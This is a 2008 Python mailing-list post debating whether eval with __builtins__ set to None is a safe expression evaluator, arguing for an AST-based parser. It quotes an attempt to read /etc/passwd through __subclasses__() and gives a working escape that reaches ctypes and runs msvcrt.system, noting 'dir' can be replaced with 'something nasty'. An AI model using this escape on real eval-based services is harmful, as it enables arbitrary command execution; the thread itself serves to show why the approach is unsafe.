Simple and safe evaluator

Matimus mccredie at gmail.com
Thu Jun 12 13:28:46 EDT 2008


On Jun 11, 9:16 pm, George Sakkis <george.sak... at gmail.com> wrote:
> On Jun 11, 8:15 pm, bvdp <b... at mellowood.ca> wrote:
>
>
>
> > Matimus wrote:
>
> > > The solution I posted should work and is safe. It may not seem very
> > > readable, but it is using Pythons internal parser to parse the passed
> > > in string into an abstract symbol tree (rather than code). Normally
> > > Python would just use the ast internally to create code. Instead I've
> > > written the code to do that. By avoiding anything but simple operators
> > > and literals it is guaranteed safe.
>
> > Just wondering ... how safe would:
>
> >          eval(s, {"__builtins__":None}, {} )
>
> > be? From my testing it seems that it parses out numbers properly (int
> > and float) and does simple math like +, -, **, etc. It doesn't do
> > functions like int(), sin(), etc ... but that is fine for my puposes.
>
> > Just playing a bit, it seems to give the same results as your code using
> > ast does. I may be missing something!
>
> Probably you do; within a couple of minutes I came up with this:
>
> >>> s = """
>
> ... (t for t in 42 .__class__.__base__.__subclasses__()
> ...  if t.__name__ == 'file').next()('/etc/passwd')
> ... """>>> eval(s, {"__builtins__":None}, {} )
>
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "<string>", line 3, in <module>
> IOError: file() constructor not accessible in restricted mode
>
> Not an exploit yet but I wouldn't be surprised if there is one. Unless
> you fully trust your users, an ast-based approach is your best bet.
>
> George

You can get access to any new-style class that has been loaded. This
exploit works on my machine (Windows XP).

[code]
# This assumes that ctypes was loaded, but keep in mind any classes
# that have been loaded are potentially accessible.

import ctypes

s = """
(
    t for t in 42 .__class__.__base__.__subclasses__()
        if t.__name__ == 'LibraryLoader'
    ).next()(
        (
            t for t in 42 .__class__.__base__.__subclasses__()
                if t.__name__ == 'CDLL'
            ).next()
        ).msvcrt.system('dir') # replace 'dir' with something nasty
"""

eval(s, {"__builtins__":None}, {})
[/code]

Matt



More information about the Python-list mailing list